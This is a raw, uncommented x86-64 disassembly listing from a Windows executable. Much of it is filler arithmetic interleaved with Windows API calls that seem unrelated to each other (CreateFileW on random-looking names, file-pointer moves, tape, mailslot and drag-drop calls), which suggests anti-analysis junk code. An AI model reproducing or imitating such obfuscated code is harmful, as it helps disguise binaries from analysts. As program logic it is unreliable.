mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
jmp 0x1400256b4
mov eax, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x4674]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9800]
mov rdx, qword [rsp + 0x9998]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x1400256b4
mov rax, qword [rsp + 0x9820]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x342]
call fcn.14017d0e0
mov r9d, 2
xor r8d, r8d
mov edx, 0x9c33
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov dword [rsp + 0x46d0], eax
cmp dword [rsp + 0x46d0], 0
je 0x140025708
cmp dword [rsp + 0x46d0], 0x35042410
je 0x1400257ff
jmp 0x140025856
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x9880]
movzx eax, word [rax]
mov word [rsp + 0x1ca0], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a90], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.P4RALn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x99d8], rax
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0x8078]
add rcx, rax
mov rax, rcx
mov qword [0x14022b838], rax
mov rcx, qword [rsp + 0x9708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x46a4]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x468c], eax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a90], ax
jmp 0x140025856
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x7c50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x97d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96d0], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [0x140229f30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98e8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8ef8]
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9800]
mov qword [rsp + 0x99e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x39f0], eax
mov r9d, 0x216b
xor r8d, r8d
lea rdx, [rsp + 0x9708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46bc], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x186], al
mov eax, dword [rsp + 0x4630]
mov dword [rsp + 0x46d4], eax
cmp dword [rsp + 0x46d4], 0x4354f442
je 0x14002591e
jmp 0x140025988
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c98]
sub eax, ecx
mov word [0x14022b828], ax
lea rax, [rsp + 0x1c9c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4620]
lea r8, [rsp + 0x99c0]
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0x99f0]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x4614], eax
movzx edx, word [rsp + 0x1c7c]
mov rax, qword [rsp + 0x99c0]
movzx ecx, byte [rax]
call fcn.14017d0e0
jmp 0x1400259f8
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c9c], ax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0x99f8], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
or eax, ecx
mov word [rsp + 0x1c80], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf209
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4694], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4614]
shl eax, cl
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov dword [rsp + 0x46d8], eax
cmp dword [rsp + 0x46d8], 0x36e63ae0
je 0x140025a4a
jmp 0x14017c28e
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022b838], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8180], rax
mov eax, dword [rsp + 0x462c]
sub eax, 0xf2
mov dword [rsp + 0x462c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x97d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9810], rax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rsp + 0x4630]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
xor eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140229f2c]
shl eax, cl
mov dword [rsp + 0x4614], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4aef
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x9870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c98]
movsx ecx, word [rsp + 0x1c90]
add eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c90], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x97b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4374], eax
lea rdx, [rsp + 0x46dc]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x186], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx eax, word [rsp + 0x1c9c]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c50]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x82e8]
shl rax, cl
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1a90]
xor eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x4630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x39f0], eax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a0], al
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [0x140229f2c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9988]
mov qword [rsp + 0x9a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0x99c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x186], al
movsx eax, word [rsp + 0x1c88]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c90], ax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x8078]
mov rcx, qword [rsp + 0x9828]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x8078]
mov rcx, qword [rsp + 0x8180]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
mov eax, dword [rsp + 0x447c]
movzx ecx, al
mov eax, dword [rsp + 0x4614]
shl eax, cl
mov dword [rsp + 0x4374], eax
cmp dword [rsp + 0x462c], 0xa75
ja 0x140025a4a
mov rax, qword [0x14022b840]
mov rax, qword [rax]
mov qword [rsp + 0x9a10], rax
cmp qword [rsp + 0x9a10], 0
je 0x140025fc4
movabs rax, 0x7ac959ea0d2f2c
cmp qword [rsp + 0x9a10], rax
je 0x140025f37
jmp 0x14002605a
lea rax, [rsp + 0x9978]
mov qword [rsp + 0x20], rax
mov r9d, 0xe3
lea r8, [rsp + 0x9a00]
lea rdx, [rsp + 0x345]
mov rcx, qword [rsp + 0x9a18]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x46e0], eax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
mov edx, dword [rsp + 0x44e0]
mov ecx, dword [rsp + 0x39f0]
call fcn.14017d0b0
movsx eax, byte [rsp + 0x343]
movsx ecx, byte [rsp + 0x186]
sar eax, cl
mov byte [rsp + 0x342], al
jmp 0x14002605a
mov rax, qword [rsp + 0x97d0]
mov qword [rsp + 0x9a20], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140229f38], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x45d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x8180]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9988]
mov qword [rsp + 0x9a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a30]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7dd0]
mov rdx, qword [rsp + 0x8ff8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x1400261af
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x97b8]
mov qword [rsp + 0x9a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x277]
sar eax, cl
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0x9730]
mov rcx, qword [0x14022b808]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
lea rax, [rsp + 0x45f0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], SHSetInstanceExplorer
mov r9d, 0x90
mov r8d, 0x30
mov edx, 9
mov rcx, qword [rsp + 0x9738]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x4614], eax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x8ef8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x97d0], rax
jmp 0x140026363
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x344]
mov rdx, qword [rsp + 0x96a0]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140026278
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x20], rax
mov r9d, 0x1b
lea r8, [rsp + 0x9a40]
lea rdx, [rsp + 0x9a18]
mov rcx, qword [rsp + 0x96f8]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x46e4], eax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1384], ax
movsx eax, word [0x140229f34]
movsx ecx, word [rsp + 0x1c9c]
sar eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0x9a20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
jmp 0x140026363
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x9650]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9670]
mov rdx, qword [rsp + 0x8ef8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x140026363
mov rax, qword [rsp + 0x98b0]
mov rcx, qword [rsp + 0x96e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x277], al
lea rdx, [rsp + 0x9888]
lea rcx, [rsp + 0x1c98]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0x8500]
movzx ecx, al
mov rax, qword [rsp + 0x9870]
shl rax, cl
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
movzx eax, word [0x14022b824]
movzx ecx, word [rsp + 0x1c7c]
xor eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8180]
sar rax, cl
mov qword [0x14022b838], rax
lea rax, [0x140229f1d]
mov qword [rsp + 0x9a48], rax
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0x9800]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x46ac], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9800]
mov rdx, qword [rsp + 0x99c8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x14017c077
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.NBSn9LESuJpY8Hd_rAEgUrI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9a50], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0x9870]
movzx ecx, al
mov rax, qword [rsp + 0x9670]
shr rax, cl
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
lea rdx, [rsp + 0x4664]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e4], eax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
xor eax, ecx
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x9998]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x45c8], eax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9808]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x47d0
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c84]
sub eax, ecx
mov word [0x140229f34], ax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1384], ax
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1384]
and eax, ecx
mov word [rsp + 0x1c8c], ax
mov eax, dword [rsp + 0x4638]
sub eax, 0xf5
mov dword [rsp + 0x4638], eax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x9a58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x277]
and eax, ecx
mov byte [rsp + 0x342], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x723d
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46b0], eax
movsx eax, word [rsp + 0x1c94]
movsx ecx, word [rsp + 0x1c90]
and eax, ecx
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1384]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x8078]
movzx ecx, al
mov rax, qword [0x14022b830]
sar rax, cl
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x9828]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0x9a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x186], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x2f6
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46e8], eax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9998]
mov rcx, qword [rsp + 0x9800]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
and eax, ecx
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x8ef8]
movzx ecx, al
mov rax, qword [rsp + 0x9870]
shr rax, cl
mov rcx, qword [rsp + 0x99e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
sub eax, ecx
mov word [0x14022b828], ax
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov word [rsp + 0x1a90], ax
movzx eax, word [0x14022b824]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x98e8]
mov dword [rcx], eax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [rsp + 0x4638], 0x987
ja 0x14002645c
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0x9a68], rax
movsx eax, byte [0x14022b811]
movsx ecx, byte [rsp + 0x342]
shl eax, cl
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c9c], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1384]
xor eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0x98e0]
mov qword [rsp + 0x9a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a70]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14022b838], rax
mov eax, dword [rsp + 0x4688]
sub eax, 0x32
mov dword [rsp + 0x4688], eax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x8180]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0x9710]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82e8], rax
movzx eax, word [0x14022b824]
movzx ecx, word [rsp + 0x1c80]
sar eax, cl
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x345]
and eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x45c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44e0], eax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x343]
and eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef8]
xor rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c84], ax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17d8], ax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
cmp dword [rsp + 0x4688], 0x29f4
ja 0x1400268dd
mov rax, qword [rsp + 0x9810]
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
